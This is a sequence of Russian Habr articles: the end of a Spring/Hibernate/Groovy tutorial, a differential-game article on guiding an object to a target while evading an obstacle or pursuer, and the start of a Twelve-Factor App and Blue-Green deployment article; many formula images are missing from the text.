Ничего сверхестественного, обычные аннотации, разве что в массивах вместо фигурных скобок квадратные. Нет модификаторов, [геттеров-сеттеров](http://habrahabr.ru/post/142356/), точек с запятой, все чисто-аккуратно.
Сообщаем хибернейту, что у нас появилась новая сущность
```
```
Добавляем новое поле в Contact.java, тут уже без геттеров-сеттеров не обойтись
```
@ManyToOne(fetch = FetchType.EAGER, cascade = CascadeType.REFRESH, optional = false)
private ContactType contacttype;
public ContactType getContacttype() {
return contacttype;
}
public void setContacttype(ContactType contacttype) {
this.contacttype = contacttype;
}
```
Собираемся, деплоимся и, если в хибернейте стоит опция hibernate.hbm2ddl.auto=update, то видим в БД новую таблицу CONTACT\_TYPES и новое поле CONTACTS.contacttype\_id.
Примечание: *Если в БД уже есть контакты, то not null ограничение хибернейт поставить не сможет, несмотря на присутствие аннотации optinal=false. Заполнение ссылок дефолтными значениями и выставление not null ограничения оставлю читателям в качестве домашнего задания.*
##### Groovy DAO
Но рано останавливаться на достигнутом. Следующий шаг — groovy-dao. Он, как и в случае с java, должен состоять из пары «интерфейс-реализация», иначе Spring будет недоволен. Повторяем шаги с созданием пакета (на этот раз — com.acme.contactmanager.dao) и созданием класса ContactTypeDAO.groovy
```
interface ContactTypeDAO {
void addContactType(ContactType contactType)
List listContactTypes()
void removeContactType(Integer id)
ContactType getDefault()
}
```
Все на 99% как в java, поэтому переходим к реализации. Не вершина программерского мастерства, но для примера достаточно. Метод listContactTypes() уже содержит основные прелести, ради которых мы все и затеяли (см. комментарии в коде):
```
@Repository
class ContactTypeDAOImpl implements ContactTypeDAO {
@Autowired
private SessionFactory sessionFactory;
private Session getCurrentSession() {
sessionFactory.getCurrentSession()
}
@Override
@Transactional
void addContactType(ContactType contactType) {
currentSession.save(contactType)
}
@Override
@Transactional
List listContactTypes() {
// в вызовах любых get-методов можно опускать префикс get и пустые скобки
def result = currentSession.createQuery("from ContactType").list()
// проверка, что список пустой, выглядит так
if(!result){
// Нужен List>? Что может быть проще!
def types = [
// кавычки для ключей не обязательны,
// значения могут быть любого типа
[name:'Семья', code:'family', defaulttype: false],
[name:'Работа', code:'job', defaulttype: false],
[name:'Знакомые', code:'stuff', defaulttype: true]
]
// вместо цикла можно использовать замыкание
types.each { type ->
ContactType contactType = new ContactType(
// в любой Groovy-класс по умолчанию добавляется конструктор,
// принимающий параметром Map
code: type.code,
name : type.name,
defaulttype : type.defaulttype
)
currentSession.save(contactType)
// перегруженный оператор << добавляет элемент в список
// переменная result доступна в контексте замыкания
result << contactType
}
}
// ключевое слово return не обязательно
result
}
@Override
@Transactional
void removeContactType(Integer id) {
ContactType contactType = currentSession.get(ContactType.class, id)
if (contactType) {
currentSession.delete(contactType)
}
}
@Override
@Transactional
ContactType getDefault() {
currentSession.createCriteria(ContactType.class)
.add(Restrictions.eq('defaulttype', true))
.uniqueResult()
}
}
```
Осталось интегрировать спежеиспеченный DAO в Java-service:
```
public interface ContactService {
// старые методы где-то тут ...
public List listContactType();
}
```
```
@Service
public class ContactServiceImpl implements ContactService {
// старые методы где-то тут ...
@Autowired
private ContactTypeDAO contactTypeDAO;
@Override
@Transactional
public List listContactType() {
return contactTypeDAO.listContactTypes();
}
}
```
Добавляем вызов в контроллер:
```
@RequestMapping("/index")
public String listContacts(Map map) {
map.put("contact", new Contact());
map.put("contactList", contactService.listContact());
// список типов контактов для JSP
map.put("contactTypeList", contactService.listContactType());
return "contact";
}
```
Добавляем локализованные сообщения в файлы messages\*.properties и выпадающий список типов на JSP (см. в проекте), собираемся, деплоимся. Проверяем:
Дальше можно использовать Groovy для тестов, парсить XML и т.д. и т.п.
[Исходный код проекта на GitHub](https://github.com/monzdrpower/ContactManager).
Спасибо за внимание, пишите на Groovy!
##### Ссылки
[Учимся готовить: Spring 3 MVC + Spring Security + Hibernate](http://habrahabr.ru/post/111102/)
[Groovy Home](http://groovy.codehaus.org/)
[Groovy Eclipse compiler](http://groovy.codehaus.org/Groovy-Eclipse+compiler+plugin+for+Maven)
[SpringSource Tool Suite](http://www.springsource.com/developer/sts)
[Programming Groovy: Dynamic Productivity for the Java Developer](http://www.amazon.com/Programming-Groovy-Productivity-Developer-Programmers/dp/1934356093)
[Проект Lombok, или Объявляем войну бойлерплейту](http://habrahabr.ru/post/142356/)
PS как добавить тесты в проект [написано тут](http://habrahabr.ru/post/171911). В том числе — тесты для web-контроллеров. | https://habr.com/ru/post/145158/ | null | ru | null |
# Игровое управление моделям в условиях неполной информации
В соавторстве с Юлией Филимоновой.
### Введение
Представьте себе, что летите такой весь победитель на базу, бомб уже нет, и ничего не предвещает беды...
А тут, скажем, горочка из тумана/облаков выступает неожиданно, или, что несколько хуже, — вот это… И вам рады, но исключительно в качестве цели:
#поравалить — а вот как это делать с математическим уклоном сейчас и будем разбираться.
Да и вообще есть множество случаев, когда необходимо уклониться от неожиданно возникшей помехи/преграды, [нашЛось](https://ru.wikipedia.org/wiki/%D0%9B%D0%BE%D1%81%D0%B8%D0%BD%D1%8B%D0%B9_%D1%82%D0%B5%D1%81%D1%82), как говорят в [Яндексе](https://store.artlebedev.ru/yandex/elk-mug/), например.
**Оговорка для математиков.** `Изложение направлено скорее на объяснение принципов и понятность, а не на формальность и строгость. Почему так: если интересно - будет мотив разобраться с теорией дифференциальных игр, которая лежит в основе, и с первоисточниками, часть из которых перечислена в конце.`
### Часть первая — модель в «простых движениях»
Простые движения это не то о чём в попсе поют, а самая простая модель динамического объекта, выражаемая следующей дифференциальной моделью:
где , -управление ограничено  (что логично, т.к. скорость не бесконечна), а  — -мерное Евклидово пространство (для нашего примера, как видно, вполне достаточно двумерного). Множество  — наша база, т.е. сюда мы хотим вернуться в целости и сохранности, — располагается в точке .
Что это нам даёт? Если проинтегрировать уравнение, то мы получим траекторию движения — прямую линию , то есть, куда направлено управление, туда и летим. Значит, при отсутствии помех вектор управления  сонаправлен с вектором движения .
Плюс данной модели в её крайней простоте для анализа, минус — моделирует она только безынерционные движения, но это не очень страшно так как моделирование инерционных движений будет выглядеть (упрощённо) как:
и к моделям соответствующего типа мы перейдем чуть позже.
Описанная модель отражает наши динамические возможности. Добавим в нее противника , который всячески старается нам помешать:
Здесь аналогично ограниченное управление .
При этом мы заранее не знаем, где притаился противник, а он, при этом, знает всё и ждёт себе, пока мы подлетим поближе, для того чтобы при помощи своего управления  достать нас множеством .
Поскольку наша цель — всё--таки попасть на , гарантированно уклонившись от , и мы должны знать от чего, собственно, мы уклоняемся, то рано или поздно помеху мы обнаружим. В случае безынерционного движения мы можем не знать о ней ничего до предпоследнего момента времени, так как в этом случае мы всегда можем направить вектор скорости (и, соответственно, траекторию) в сторону от помехи.
При этом, как можно заметить, помеха типа <<гора>> не самая страшная ситуация, так как она неподвижна, хотя и является большим препятствием, — хуже если противник подвижен, поэтому надо обсудить ещё пару моментов:
* чтобы иметь возможность уклоняться, мы должны обладать большими динамическими возможностями, чем противник, иначе рано или поздно нас поймают, то есть  в некотором смысле должно быть меньше ;
* пусть множество помехи, которым управляет противник — выпуклое, иначе, если применять стратегию уклонения по нормали от множества помехи  — можно и не уклониться.
Воспользовавшись приведенными выше эвристическими рассуждениями, посмотрим, как можно решить приведенную выше задачу при следующих условиях в пространстве :
Здесь  — координаты объекта  на плоскости, ![$x(t) = [x_1(t),\ x_2(t)]^{T} \in \mathbb{R}^2.$](https://habrastorage.org/getpro/habr/formulas/c9f/32c/10b/c9f32c10b7048d2bc6f8728f7f0d14fc.svg)
Пусть объект начинает движение из точки ![$x(t_0) = [3,\ 4]^{T} \in \mathbb{R}^2.$](https://habrastorage.org/getpro/habr/formulas/bbd/e0e/bcb/bbde0ebcb6da43650288bfe50320b15d.svg)
Ограничения на управления  имеют вид
* ![$u(t) \in P \subset \mathbb{R}^2,\ P = S_{1} ([0,\ 0]^{T})$](https://habrastorage.org/getpro/habr/formulas/615/bc2/b92/615bc2b92e6099b15e862b94eb645e49.svg) — круг радиуса 1;
* ![$v(t) \in Q \subset \mathbb{R}^2,\ Q = S_{0.9} ([0,\ 0]^{T})$](https://habrastorage.org/getpro/habr/formulas/47b/4c2/94b/47b4c294b4c962be88774fff5ab05c67.svg) — круг радиуса 0.9.
Первый игрок стремится перевести траекторию системы за конечное время на терминальное множество ![$M = S_{1}([12,\ 6]^{T})$](https://habrastorage.org/getpro/habr/formulas/d15/05c/e36/d1505ce36c4a0ca108747b72bdda66f1.svg) — круг радиуса 1 с центром в точке ![$[12,\ 6]^{T}$](https://habrastorage.org/getpro/habr/formulas/7a7/94e/7b4/7a794e7b48de49fd5f887638c2ce958b.svg), избежав при этом попадания на множество помехи ![$N = S_{2}([8,\ 5]^{T})$](https://habrastorage.org/getpro/habr/formulas/076/278/665/076278665bb87a371444949d5f98f22c.svg) — круг радиуса 2 с центром в точке ![$[8,\ 5]^{T}$](https://habrastorage.org/getpro/habr/formulas/a38/ce4/35b/a38ce435bf5aac7b1995323b4b076f04.svg).
Время успешного завершения игры первым игроком .
Траектория движения системы и компоненты управления первого игрока показаны на следующих рисунках.
*Траектория движения системы.*
*Зависимость первой компоненты управления от времени.*
*Зависимость второй компоненты управления от времени.*
Данный подход, очевидно имеет несколько недостатков, а именно:
* большое количество переключений, что плохо с практической точки зрения, так как рывки между крайними значениями дают существенную нагрузку на органы управления;
* как следствие, вместо того, чтобы лететь к цели, мы тратим время на блуждания, связанные с уклонением от помехи и наведением на терминальное множество;
* непонятно, что делать, если мы подлетаем к помехе строго по нормали: уклонение будет проводиться в ту же точку, откуда наводились за шаг до этого — то есть алгоритм может зациклится;
* непонятно, что делать с инерционными объектами, так как эвристика, конечно, хороша, но реальность несколько сложнее.
### Часть вторая — модель всё ещё в «простых движениях», но сокращается количество переключений
Ввиду того, что модель простая и позволяет нам двигаться по плоскости из любой точки в любую точку (это в дальнейшем будет являться существенным предположением, а пока просто берём на заметку), ничто не мешает нам рассуждать следующим образом.
Давайте думать на один шаг вперёд: если наша система сначала наводилась на цель, а на следующем шаге начала уклонятся, то можно найти точку, в которую система придёт через два шага, и наводиться сразу на неё как на промежуточную цель. Можем? По нашему предположению — ДА.
На том же примере посмотрим, что получается. Время успешного завершения игры первым игроком сократилось почти в три раза с  до . Количество переключений тоже резко уменьшилось. Берём на заметку — думать хотя бы на шаг вперёд эффективно ~~и вообще полезно для здоровья~~.
Траектория движения системы и компоненты управления первого игрока показаны на на следующих рисунках.
*Траектория движения системы.*
*Зависимость первой компоненты управления от времени.*
*Зависимость второй компоненты управления от времени.*
### Часть третья — модель всё ещё в «простых движениях», но теперь решаем вопрос с приближением <<по нормали>>
Так как мы умеем уклоняться от одного множества в один момент времени, то ничто нам не мешает построить дополнительное множество таким образом, чтобы, уклоняясь от него, мы ( возможно с измельчением шага по времени) гарантированно через два шага попадали в точку, отличную от той, в которой находимся сейчас. И сделаем мы это следующим образом:
*Построение дополнительного множества избегания для траектории.*
То есть просто построим дополнительное множество, от которого будем уклоняться, содержащее в себе «проблемную» точку не как центр, а с некоторым смещением, как на рисунке.
### Часть четвертая — математический базис
Для того, чтобы построить управления инерционными объектами необходимо всё таки погрузиться в теорию, так как простые эвристические рассуждения в этом случае работать перестают и, соответственно, необходимо подобрать теоретическую основу решения. Если у вас ~~жёсткий приступ лени~~ не хватает времени, то раздел можно, пропустить и воспользоваться сразу результатами, интересующиеся же — смотрим дальше.
В качестве основы будем использовать теорию дифференциальных игр, которые в нашей стране развивались Львом Семёновичем Понтрягиным [1] (если не знаете кто такой — обязательно почитайте, Личность с большой буквы, как говорится, таких уже не делают) и Красовским Николаем Николаевичем [2].
Для решения нам потребуются два множества:
* куда можно попасть первым игроком — множество достижимости первого игрока;
* откуда можно завершить преследование вторым игроком первого.
А также способ их построения, реализуемый на практике.
С первым множеством, при отсутствии помехи всё более или менее понятно, если можем построить его таким образом, чтобы включить конечное множество  — значит игру завершим успешно, не сможем — значит игра точно не сможет быть завершена. Строится оно в теории следующим образом — для каждой точки начиная с начальной  путём перебора всех доступных управлений строим множество в которое можем попасть через , после чего операцию повторяем. Выглядит довольно сложно, но для выпуклых множеств и линейных систем можно всё радикально упростить, используя аппарат выпуклого анализа, — опорные функции и введя соответствующие сетки [4]. Построение такого множества решает задачу наведения первого игрока, назовём её — **задача А**.
*Наведение на множество $M$ в условиях отсутствия помехи*.
Что касается второго множества — множества откуда второй игрок может поймать нас и от которого нам и нужно уклоняться, то здесь несколько сложнее — следите за пальцами:
* с одной стороны, если мы "приближаемся" к противнику, то ввиду превосходства наших возможностей, чем мы дальше от него тем вероятность нас поймать, — этому потом придётся дать строгое объяснение;
* с другой стороны — если мы "удаляемся" от противника, то ввиду того же самого нашего превосходства противник не сможет нас поймать в любом случае.
То есть что получается множество от которого мы уклоняемся должно быть с одной стороны большим (при приближении), а с дугой стороны (при удалении) может быть едва превышающим то, от которого необходимо уклониться?
*Уклонение от множества* .
~~Совпадение?~~ Противоречие? Не думаю. Подобно Доку в "Назад в будущее" с его "пространственно-временным континуумом" вспомним, что у нас есть ещё одна переменная — время и будем трактовать термины "приближаемся" и "удаляемся" приведенные в кавычках как поведение системы вдоль траектории, что не всегда совпадает с прямолинейным движением и уж точно не характеризуется расстоянием в евклидовом пространстве. Зато временем движения до конкретной точки понятия "далеко-близко" и "приближаемся-удаляемся" характеризуются очень неплохо.
В этом случае давайте будем строить управление уклонения не от множества от которого нам надо уклоняться , а от множества в которое оно преобразуется (а оно уменьшится ввиду превосходства первого игрока) к моменту его приближение на соответствующее временной интервал в множеству  — т.е. построим этакую воронку направленную к первому игроку своей узкой стороной и будем отталкиваться уже от неё. Построение такого множества в каждый момент игры и уклонение от него будет решает задачу уклонения первого игрока, назовём её — **задача Б**.
Соответственно общее управление управление первого игрока так, чтобы в каждый момент времени он решал только одну из этих подзадач.
Формализуем теперь движение нашего объекта , в --мерном евклидовом пространстве  следующей системой дифференциальных уравнений:
где ;  — выпуклые компакты из евклидовых пространств ;  — постоянные матрицы, , что обеспечивает существование, единственность и продолжимость при всех  решения [задачи Коши](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%B4%D0%B0%D1%87%D0%B0_%D0%9A%D0%BE%D1%88%D0%B8).
Вектор  находится в распоряжении первого игрока, вектор  находится в распоряжении второго игрока.
Движение начинается при  из начального состояния  и протекает под воздействием [измеримых по Лебегу](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%80%D0%B0_%D0%9B%D0%B5%D0%B1%D0%B5%D0%B3%D0%B0) функций .
В  выделены некоторые непустые выпуклые замкнутые множества  и . Множество  является терминальным множеством первого игрока. Цель первого игрока — добиться выполнения включения  при некотором . Множество  является терминальным множеством второго игрока и множеством помехи первого игрока. Цель второго игрока — добиться выполнения включения  при некотором . В момент первого попадания точки  на  игра считается успешно завершенной вторым игроком. Дополнительная задача первого игрока — избежать попадания точки  на .
Игра считается успешно завершенной первым игроком в момент первого попадания точки  на  при условии, что для всех предыдущих моментов времени точка  ни разу не попадала на . Таким образом, цели игроков не совпадают, и точка  находится под воздействием противоборствующих управлений .
Будем отдельно рассматривать дифференциальную игру с точки зрения первого и второго игроков.
**A:** Предполагается, что первый игрок знает:
1. динамические возможности конфликтно управляемого объекта , то есть матрицы , множества ;
2. начальное состояние игры ;
Предполагается также, что первый игрок способен обнаружить множество  не позднее чем за время , значению которого определим ниже.
Определим стратегию первого игрока  как отображение, определенное на множестве произвольных измеримых функций , и обладающее следующим свойством: для произвольной измеримой , функция  измерима по  и .
**Задача A:** Найти начальные состояния , для которых первый игрок обладает такой стратегией, что она обеспечивает окончание игры для произвольной измеримой  не позже некоторого конечного момента. Такие состояния  будем называть решениями задачи A.
**Б:**Второй игрок обладает полной информацией о ходе игры.
Определим стратегию второго игрока  как отображение, определенное на множестве произвольных измеримых функций , и обладающее следующим свойством: для произвольной измеримой , функция  измерима по  и .
**Задача Б:** Найти начальные состояния , для которых второй игрок обладает такой стратегией, что она обеспечивает окончание игры для произвольной измеримой  не позже некоторого конечного момента. Такие состояния  будем называть решениями задачи Б.
Будем считать, что , где  — линейное подпространство пространства ,  — выпуклый компакт, . Аналогично , где  — линейное подпространство пространства ,  — выпуклый компакт, . При этом  — оператор ортогонального проектирования из  в , . Данные построения нужны для того, чтобы учесть, что игра у нас в общем случае (а при наличии инерционных объектов это так и есть) ведётся в пространстве меньшей размерности чем размерность системы дифференциальных уравнений.
#### Подраздел 4.1. Достаточное условие разрешимости задачи уклонения первого игрока от множества $N$
Рассмотрим задачу Б — задачу преследования вторым игроком первого и построим для неё множество точек, из которого данная задача будет иметь решение. Так вот, для подобного типа задач Понтрягин придумал способ построения нужного множества — альтернированная сумма —  [3], [5]. Так вот альтернированная сумма мало того является выпуклым компактом, так ещё и -стабильно (т.е. позволяет строить нужные нам стратегии второго игрока), а также обеспечивает выполнение условия существования седловой точки маленькой игры [6, стр. 56] (что означает, что игра в принципе разрешима) — т.е. всё и сразу.
Из [6, стр. 69 — теорема 17.1] следует, что в этих условиях можно воспользоваться теоремой об альтернативе:
> Для всякой начальной позиции  и выбранного  верно одно из двух утверждений:
>
> 1) Либо найдется стратегия , которая для всех движений  обеспечит встречу  за конечное время . То есть, **в классе позиционных стратегий второго игрока разрешима задача преследования (задача Б)**.
>
> 2) Либо, в противном случае, найдется стратегия , которая для всех движений , обеспечит уклонение от множества -окрестности множества $N$ вплоть до момента времени . То есть, **в классе позиционных стратегий первого игрока разрешима задача уклонения (задача А)**.
При этом, ввиду -стабильности множества  на сновании [6, стр. 62 — теорема 15.1] получим, что условие:
![$ \forall t \in [t_0, \bar T]: x(t_0) \notin W(t)$](https://habrastorage.org/getpro/habr/formulas/f5b/ade/408/f5bade4082c844785ddf26eca079edde.svg)
является достаточным условием решения задачи уклонения первого игрока из начальной позиции  от -окрестности множества  в течение времени .
Если ресурсы первого игрока, определяемые множеством , превосходят ресурсы второго игрока, определяемые множествами  и , то найдется такое время , что .
Существование момента , для которого выполнено включение , обеспечивает разрешимость задачи Б за время из диапазона ![$[t, t+\Theta]$](https://habrastorage.org/getpro/habr/formulas/518/5be/eb7/5185beeb7755c3fdcea3c43f7677837e.svg).
То есть можно построить стратегию , удовлетворяющую условию:
![$ \forall \tau \in [t, t + \Theta]: x(\tau, u(x_0, t_0, x(\tau))) \notin W(\tau).$](https://habrastorage.org/getpro/habr/formulas/d96/66d/f98/d9666df9845932cd987dafc8d79d5d3e.svg)
Следовательно, для того, чтобы обеспечить уклонение от множества , необходимо проверять приведенное выше условие как для текущего момента времени , так и для всех последующих моментов времени на глубину .
Множество , построенное в виде:
![$ \Phi(\Theta,t) = \bigcup_{\tau\in[t,t+\Theta]}W(\tau),$](https://habrastorage.org/getpro/habr/formulas/729/961/df3/729961df3f959270579b9ca026da58dc.svg)
характеризует минимальное расстояние между преследователем и убегающим в момент времени , на котором преследование может быть завершено успешно. Откуда в общем-то и следует, что обнаруживать помеху мы должны за такое время (не за расстояние), за которое сможем от неё уклониться, что логично.
И, если настоящие математики на некоторое время закроют глаза, так как следующее рассуждение является ооочень частным случаем, то на пальцах это выглядит следующим образом: `пусть множество помехи у нас шарик радиуса 5, множество управления шарик радиуса 2, а помехи -- соответственно 1, тогда время за которое мы должны обнаруживать помеху никак не должно быть меньше 4.` Математики могут открывать глаза.
Аналогичным образом можно решить задачу наведения на множество  в условиях отсутствия помехи. При этом достаточным условием наведения траектории системы на множество  является условие:
#### Подраздел 4.2. Построение управления первого игрока для решения задачи А
Пусть первый игрок может заметить множество помехи  не раньше, чем за время . Это означает, если ввести равномерное разбиения  временного отрезка ![$[t_0,\ T]$](https://habrastorage.org/getpro/habr/formulas/fb5/4f4/634/fb54f4634980388ff05e79ba3a51ba04.svg), что первый игрок может заметить помеху не раньше, чем за  шагов по времени:
Тогда возможность перехвата вторым игроком первого (успешного завершения задачи Б) в момент  определяется условием:
![$x(\tau) \in \Delta_{\omega_K} \pi e^{\tau A}CQ + W(\tau),\, \tau\in[t,t+\Theta].$](https://habrastorage.org/getpro/habr/formulas/194/092/d17/194092d17e1b47e277b2f6befdb7d667.svg)
Здесь первый мы в момент времени  проверяем, возможна ли поимка первого игрока на следующем шаге .
Будем строить управление первого игрока, считая, что выполнены следующие предположения.
**На второго игрока наложены следующие ограничения:**
1. второй игрок никогда не сможет достичь терминального множества :
в противном случае стратегия "закрыть собой" обеспечит победу второму игроку;
2. начальная позиция игры не принадлежит множеству , откуда возможно успешное завершение задачи Б — преследования вторым игроком первого:
что гаратнирует нас от того, что мы при появлении откажемся внутри множества где нас поймают и игра потеряет всякий смысл.
Рассмотрим **задачу уклонения** первого игрока от множества  отдельно от задачи наведения на целевое множество .
При этом, если для нашей игры выполнено приведенное выше предположение, то при любом начальном значении , можно показать, что существует такая стратегия уклонения, что расстояние между траекторией  и множеством избегания  может будет больше  и зависеть только от хода игры, а не от её начального значения.
Что, переводя с математического на русский, означает, что в зависимости от параметров игры всегда существует ненулевое расстояние между нами и множеством из которого нас можно поймать.
При этом, в качестве стратегии уклонения можно выбрать управление экстремального сдвига, обеспечивающее, согласно теореме об альтернативе [6, стр. 69], уклонение от множества  в виде:
где
Так как выполняются условия леммы 15.2 [6, стр. 65], то, повторяя её доказательство, получаем нужную оценку для минимального евклидового расстояния между траекторией  и множеством , которая стремится к  при измельчении шага разбиения по времени.
Рассмотрим теперь **задачу наведения** траектории системы на терминальное множество . При отсутствии каких-либо помех в виде множества  и выполнении условия теоремы об альтернативе задача наведения разрешима, если начальная точка  принадлежит множеству управляемости, а само управление наведения будет иметь вид:
Будем строить управление наведения--уклонения в следующем виде:
* определяем  в ходе построения альтернированного интеграла, решающего для нашей системы задачу наведения;
* рассматриваем движение системы в момент , .
Проверяем для следующего шага пустоту пересечения:
* если множество достижимости системы из точки  не пересекается с множеством , то первый игрок выбирает управление наведения;
* в противном случае первый игрок выбирает управление уклонения.
Отметим, что в общем случае условие окончания игры наведения может быть нарушено, т.е. , где ,  — это найденные ранее значения времени окончания игры и соответствующий ему альтернированный интеграл. В данном случае необходим пересчёт альтернированного интеграла Л.С. Понтрягина  и поиск соответствующего ему нового времени окончания игры , -натуральное число.
Применяя описанную стратегию, первый игрок в каждый момент времени будет либо наводиться на терминальное множество , сокращая расстояние до него, либо уклоняться от множества помехи , не попадая внутрь него.
Поскольку множество  — строго выпуклый компакт, то для его огибания по описанной стратегии потребуется конечное время, а теорема об альтернативе гарантирует уклонение от множества  в течение конечного времени. Поскольку задача наведения в условиях отсутствия помехи имеет решение за конечное время, то общее время завершения игры тоже конечно. При этом
— время завершения игры не меньше времени наведения, а  в общем случае оценить невозможно, хотя оно и существует.
### Часть пятая — собираем всё вместе
Проверим теперь на практике, что даёт построенный способ управления сначала без учёта снижения колчества перекючений, а потом с учётом данной оптимизации. Для чего рассмотрим одну из типовых задач имеющих имя собственное — "Два крокодила", моделирующую движения двух инерционных объектов с разными динамическими параметрами. Соотвественно пусть теперь первый игрок стремится решить задачу А.
Соотвествующая система дифференциальных уравнений будет иметь вид:
Здесь  — координаты объекта  на плоскости, а  — компоненты его скорости, ![$x(t) = [x_1(t),\ x_2(t),\ x_3(t),\ x_4(t)]^{T} \in \mathbb{R}^4;$](https://habrastorage.org/getpro/habr/formulas/798/b14/2db/798b142db0532a273b2cd098de719569.svg)
объект начинает движение из точки ![$x(t_0) = [3,\ 4,\ 0,\ 0]^{T} \in \mathbb{R}^4.$](https://habrastorage.org/getpro/habr/formulas/33e/622/5d7/33e6225d77ed208f77890d5f870f4193.svg)
Ограничения на управления  имеют вид
![$u(t) = [u_1(t),\ u_2(t)]^{T} \in P \subset \mathbb{R}^2,\ P = S_{1} ([0,\ 0]^{T}),$](https://habrastorage.org/getpro/habr/formulas/0bc/1c1/3c1/0bc1c13c1cc5b7d7bd94f5e5ba2c2a96.svg)
![$v(t) = [v_1(t),\ v_2(t)]^{T} \in Q \subset \mathbb{R}^2,\ Q = S_{0.9} ([0,\ 0]^{T}).$](https://habrastorage.org/getpro/habr/formulas/171/47f/000/17147f000cdca49abb1ff8f204bfce00.svg)
Первый игрок стремится перевести траекторию системы за конечное время на терминальное множество
![$M = S_{1}([12,\ 6]^{T}),$](https://habrastorage.org/getpro/habr/formulas/eee/04c/3d3/eee04c3d36ddbc5fef9b99dfeeb400f0.svg)
избежав при этом попадания на множество помехи
![$N = S_{2}([8,\ 5]^{T}).$](https://habrastorage.org/getpro/habr/formulas/ab5/3f5/d52/ab53f5d52a05f8d2c52e4c55ca849eac.svg)
В случае если первый игрок не занимается снижением количества переключений, то время завершения игры будет
Траектория движения системы и компоненты управления первого игрока показаны на следующих рисунках.
*Траектория движения системы.*
*Зависимость первой компоненты управления от времени.*
*Зависимость второй компоненты управления от времени.*
В случае же использовани способа, обеспечивающего снижение количества переключений управления время успешного завершения игры первым игроком будет почти в трираза меньше:
а соответствующие траектории показаны на следующих рисунках.
*Траектория движения системы.*
*Зависимость первой компоненты управления от времени.*
*Зависимость второй компоненты управления от времени.*
На рисунках видно, что управление, полученное в ходе решения задачи описанным выше методом, обладает достаточно небольшим количеством переключений.
### Выводы
Что в итоге получаем (если дочитали, конечно, до этого места), — "наивный" и "продвинутый" способы управления динамической моделью, позволяющие конструктивно строить управление зависящие исключительно от позиции (см. книги Н.Н. Красовcкого, А.И. Субботина и Л.С. Понтрягина), причем не обладая полными знаниями о помехе.
Исходники посмотреть можно здесь: [репозитарий на GitHub](https://github.com/rumiantcev/dc_res)
Предупреждаю сразу, что некоторым элементам кода уже порядка 19 лет, и они делались в то время, когда в C++ не было синтаксического сахара, да так и остались, т.к. работают. За конструктивую критику будем признательны.
Сейчас, т.к. жизнь не может быть полностью описана линейными дифференциальными уравнениями, занимаемся нелинейными моделями, но там [нет серебряной пули](https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D1%80%D0%B5%D0%B1%D1%80%D1%8F%D0%BD%D0%BE%D0%B9_%D0%BF%D1%83%D0%BB%D0%B8_%D0%BD%D0%B5%D1%82), т.е. "на пальцах" простое объяснение дать не получится.
Отдельное спасибо Екатерине Кудешовой за критику.
UPD: спасибо пользователю [technic93](https://habrahabr.ru/users/technic93/), за найденную ошибку (см. комменты).
### Бибилиография
**[1] Понтрягин Л.С.** Жизнеописание Л. С. Понтрягина, математика, составленное им самим», М, 1983
**[2] Красовский Н.Н.** Теория управления движением: Линейные системы, М, Наука, 1968
**[3] Григоренко Н.Л.** Математические методы управления несколькими динамическими процессами, М, Издательство Московского Университета, 1990
**[4] Ю.Н. Киселёв, С.Н. Аввакумов, М.В. Орлов** ОПТИМАЛЬНОЕ УПРАВЛЕНИЕ. ЛИНЕЙНАЯ ТЕОРИЯ И ПРИЛОЖЕНИЯ, М, 2007
**[5] Григоренко Н.Л., Камзолкин Д.В., Пивоварчук Д.Г.** Линейные дифференциальные игры, М, 2007
**[6] Красовский Н.Н., Субботин А.И.** Позиционные дифференциальные игры, М, Наука, 1974
**[7] Ли Э.Б., Маркус Л.** Основы теории оптимального управления, М, Наука, 1972
**[8] Понтрягин Л.С., Болтянский В.Г., Гамкрелидзе Р.В., Мищенко Е.Ф.** Математическая теория оптимальных процессов, М, Наука, 1969
(В соавторстве с Юлией Филимоновой [jul305a@gmail.com](mailto:jul305a@gmail.com)) | https://habr.com/ru/post/332142/ | null | ru | null |
# Разработка приложений и Blue-Green deployment, опираясь на методологию The Twelve-Factor App с примерами на php и docker
### Для начала немного теории. Что такое [The Twelve-Factor App](https://12factor.net/ru/)?
Простыми словами, это документ призванный упростить разработку SaaS приложений, помогает тем что, осведомляет разработчиков и DevOps инженеров о проблемах \ практиках которые чаще всего встречались в разработке современных приложений.
Документ сформирован разработчиками платформы Heroku.
Методология двенадцати факторов(The Twelve-Factor App) может быть применена для приложений, написанных на любом языке программирования и использующих любые комбинации сторонних служб (backing services) (базы данных, очереди сообщений, кэш-памяти, и т.д.).
### Коротко о самих факторах на которых строится эта методология:
1. **Кодовая база** – Одна кодовая база, отслеживаемая в системе контроля версий, – множество развёртываний
2. **Зависимости** – Явно объявляйте и изолируйте зависимости
3. **Конфигурация** – Сохраняйте конфигурацию в среде выполнения
4. **Сторонние службы (Backing Services)** – Считайте сторонние службы (backing services) подключаемыми ресурсами
5. **Сборка, релиз, выполнение** – Строго разделяйте стадии сборки и выполнения
6. **Процессы** – Запускайте приложение как один или несколько процессов не сохраняющих внутреннее состояние (stateless)
7. **Привязка портов (Port binding)** – Экспортируйте сервисы через привязку портов
8. **Параллелизм** – Масштабируйте приложение с помощью процессов
9. **Утилизируемость (Disposability)** – Максимизируйте надёжность с помощью быстрого запуска и корректного завершения работы
10. **Паритет разработки/работы приложения** – Держите окружения разработки, промежуточного развёртывания (staging) и рабочего развёртывания (production) максимально похожими
11. **Журналирование (Logs)** – Рассматривайте журнал как поток событий
12. **Задачи администрирования** – Выполняйте задачи администрирования/управления с помощью разовых процессов
**Больше информации о 12 факторах вы можете получить из следующих ресурсов:**
* [Официальный первоисточник](https://12factor.net/ru/) — обязательно к прочтению
* [Статья на habr. Приложение двенадцати факторов — The Twelve-Factor App](https://habr.com/ru/post/258739/) — официальный перевод
* [Статья на habr. 7 недостающих факторов в подходе 12 Factor App](https://habr.com/ru/company/flant/blog/460363/) — свежий взгляд на 12 факторов с целью усовершенствовать их.
### Что такое Blue-Green deployment?
Blue-Green deployment – это способ доставки приложения на **production** таким образом, что конечный клиент не видит никаких изменений со своей стороны. Другими словами, разворачивание приложения с нулевым **downtime**.
Классическая схема BG Deploy выглядит так как указано на изображении ниже.
* На старте есть 2 физических сервера с абсолютно одинаковым кодом, приложением, проектом, и есть роутер (балансировщик).
* Роутер изначально направляет все запросы на один из серверов (**зеленый**).
* В момент когда нужно снова сделать релиз, весь проект обновляется на другом сервере (**синий**), который в данный момент не обрабатывает никаких запросов.
